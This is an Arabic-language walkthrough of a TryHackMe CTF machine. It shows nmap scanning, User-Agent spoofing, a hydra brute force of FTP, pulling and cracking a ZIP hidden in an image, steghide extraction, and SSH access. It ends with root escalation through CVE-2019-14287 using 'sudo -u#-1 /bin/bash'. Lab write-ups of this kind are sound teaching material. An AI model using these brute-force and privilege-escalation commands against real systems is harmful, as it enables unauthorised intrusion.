
اكتب تقريرًا عن Sudo Agent CTF (TryHackMe)، مع التعداد، واستغلال الويب، وإخفاء المعلومات، وSSH، ورفع الصلاحيات عبر CVE-2019-14287.

دليل Sudo Agent CTF (TryHackMe)، مع الاستطلاع، واستغلال الويب، وإخفاء المعلومات، وSSH، ورفع الصلاحيات عبر CVE-2019-14287.
| العنصر | المعلومة |
|---|---|
| المنصة | TryHackMe |
| النظام | Linux |
| الصعوبة | Easy |
| الهدف | استغلال الويب، FTP، SSH، إخفاء المعلومات ورفع الصلاحيات |
| CVE | CVE-2019-14287 |
| الحالة | Completed ✅ |
Reconhecimento
↓
Enumeração Web
↓
User-Agent
↓
FTP
↓
Análise de arquivos
↓
Esteganografia
↓
Credenciais
↓
SSH
↓
Privilege Escalation
↓
CVE-2019-14287
↓
Root 👑
Nmap
Hydra
User-Agent Switcher
FTP
Binwalk
John the Ripper
7-Zip
Steghide
SSH
Linux Commands
Browser
كانت الخطوة الأولى في مرحلة الاستطلاع هي تحديد المنافذ المفتوحة. أجريت فحص المنافذ باستخدام nmap:
nmap -sV -sC sudoagent
21/tcp open ftp
22/tcp open ssh
80/tcp open http
عند إجراء تحليل تطبيق الويب، صادفت الرسالة التالية:
عرض تطبيق الويب رسالة من Agent R تشير إلى أن الوصول كان يعتمد على User-Agent محدد.
قمت بتغيير User-Agent، باستخدام User-Agent switcher، إلى REDACTED، وأصبح من الممكن عرض الرسالة:
كشفت الرسالة معلومات عن أحد الوكلاء وأشارت إلى أن كلمة مروره كانت ضعيفة.
بعد العثور على المستخدم ومعرفة أن كلمة مروره ضعيفة، قمت بتنفيذ brute force باستخدام hydra:
hydra -l user -P /usr/share/wordlists/rockyou.txt ftp://sudoagent/
تمكن hydra من إرجاع كلمة مرور agentC بنجاح!
[21][ftp] host: sudoagent login: c$$$$ password: REDACTED
أتاحت بيانات الاعتماد التي تم الحصول عليها الوصول إلى خدمة FTP.
تم العثور في FTP على ملفات نصية وصور.
-rw-r--r-- 1 0 0 217 Oct 29 2019 To_agentJ.txt
-rw-r--r-- 1 0 0 33143 Oct 29 2019 cute-alien.jpg
-rw-r--r-- 1 0 0 34842 Oct 29 2019 cutie.png
قمت بتنزيل الملفات لتحليلها.
بدأت التحليل باستعراض محتوى الملف النصي To_agentJ.txt:
cat To_agentJ.txt
Dear agent J,
All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.
From,
Agent C
الملف عبارة عن رسالة أرسلها agent C إلى agent J. اكتشفنا وجود بيانات اعتماد مخفية في أحد ملفات الصور.
باستخدام أداة Binwalk، حددت أن الملف cutie.png كان يحتوي على ملف ZIP مشفّر، كان محتواه هو الملف To_agentR.txt.
binwalk cutie.png
34562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820 0x8804 End of Zip archive, footer length: 22
لقراءة الملف، أحتاج إلى استخراجه واكتشاف كلمة المرور الخاصة به. قمت باستخراج الملف:
dd if=cutie.png of=arquivo.zip bs=1 skip=34562
أشار Binwalk إلى أن ملف ZIP يبدأ عند الإزاحة 34562. استخدمت هذه القيمة للاستخراج من تلك النقطة وإنشاء ملف ZIP بشكل منفصل.
واستخراج الهاش:
zip2john *.zip > hash.txt
والآن دعنا نكتشف كلمة المرور بمساعدة John The Ripper:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
REDACTED (arquivo.zip/To_agentR.txt)
بعد فك ضغط الملف استخدمت كلمة المرور التي وجدتها:
cat To_agentR.txt
Agent C,
We need to send the picture to 'QXJlYTUx' as soon as possible!
By,
Agent R
لدينا كود بـ base64 نحتاج إلى فك ترميزه
echo "QXJlYTUx" | base64 -d
REDACTED
بعد الحصول على كلمة المرور المستخدمة في الإخفاء، استخدمت Steghide لاستخراج الرسالة المخفية في الصورة cute-alien.jpg.
steghide extract -sf cute-alien.jpg
Enter passphrase:
wrote extracted data to "message.txt"
تم إرسال الرسالة المفككة إلى الملف message.txt
cat message.txt
Hi j$$$$,
Glad you find this message. Your login password is REDACTED!
Don't ask me why the password look cheesy, ask agent R who set this password for you.
Your buddy,
c$$$$
رسالة أحضرت اسم الوكيل J وكلمة مروره.
استخدمت بيانات اعتماد الوكيل J للوصول عبر SSH. بعد الوصول الناجح، حددت موقع الملف المسمى user_flag.txt وملف صورة آخر.
ls
Alien_autospy.jpg user_flag.txt
بعد الحصول على الوصول عبر SSH، وجدت الملف Alien_autospy.jpg.
أجريت تحليلًا للصورة، ثم استخدمت تقنيات OSINT لتحديد مصدر الصورة وسياقها.
من خلال البحث في المصادر العامة، كان من الممكن ربط الصورة بالحادثة.

قبل محاولة تصعيد الصلاحيات، تحققت من أذونات sudo الخاصة بالمستخدم الحالي:
sudo -l
Matching Defaults entries for j$$$$ on agent-sudo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User j$$$$ may run the following commands on agent-sudo:
(ALL, !root) /bin/bash
كانت الإعدادات المعروضة بواسطة sudo -l عرضةً لـ CVE-2019-14287.
تسمح هذه الثغرة بتجاوز قيود تنفيذ معينة في sudo باستخدام UID خاص، مثل -1، والذي قد يُفسَّر بما يعادل المستخدم root في الإصدارات المعرضة للخطر.
كان من الممكن تصعيد الصلاحيات بتحديد المستخدم كـ -1:
sudo -u#-1 /bin/bash
root@agent-sudo:~#
أدى الأمر إلى الحصول على shell بصلاحيات root.
باستغلال الصلاحيات التي تم الحصول عليها، انتقلت إلى مجلد root ووصلت إلى الملف root.txt حيث وجدت آخر علمين:
cat root.txt
To Mr.hacker,
Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine.
Your flag is
REDACTED
By,
REDACTED a.k.a Agent R
| الثغرة / التقنية | ما حدث | التأثير |
|---|---|---|
| التلاعب بـ User-Agent | كان التطبيق يستخدم User-Agent للتحكم في الوصول إلى الصفحة. | أتاح الوصول إلى محتوى غير متاح في التصفح التقليدي. |
| بيانات اعتماد ضعيفة | كان أحد المستخدمين يمتلك كلمة مرور ضعيفة وقابلة للتوقع. | أتاح اكتشاف كلمة المرور عبر هجوم القوة الغاشمة ضد FTP. |
| ملف ZIP مخفي داخل صورة | كانت صورة تحتوي على ملف ZIP مشفّر مضمّن. | أتاح الحصول على معلومات إضافية والتقدم في سلسلة الهجوم. |
| إخفاء المعلومات (Steganography) | كانت رسالة تحتوي على بيانات اعتماد مخفية داخل صورة. | أتاح استرداد كلمة المرور المستخدمة للوصول عبر SSH. |
| CVE-2019-14287 (Sudo) | كان sudo يعاني من ثغرة في معالجة UID -1. | أتاح تجاوز قيد التنفيذ والحصول على صلاحيات root. |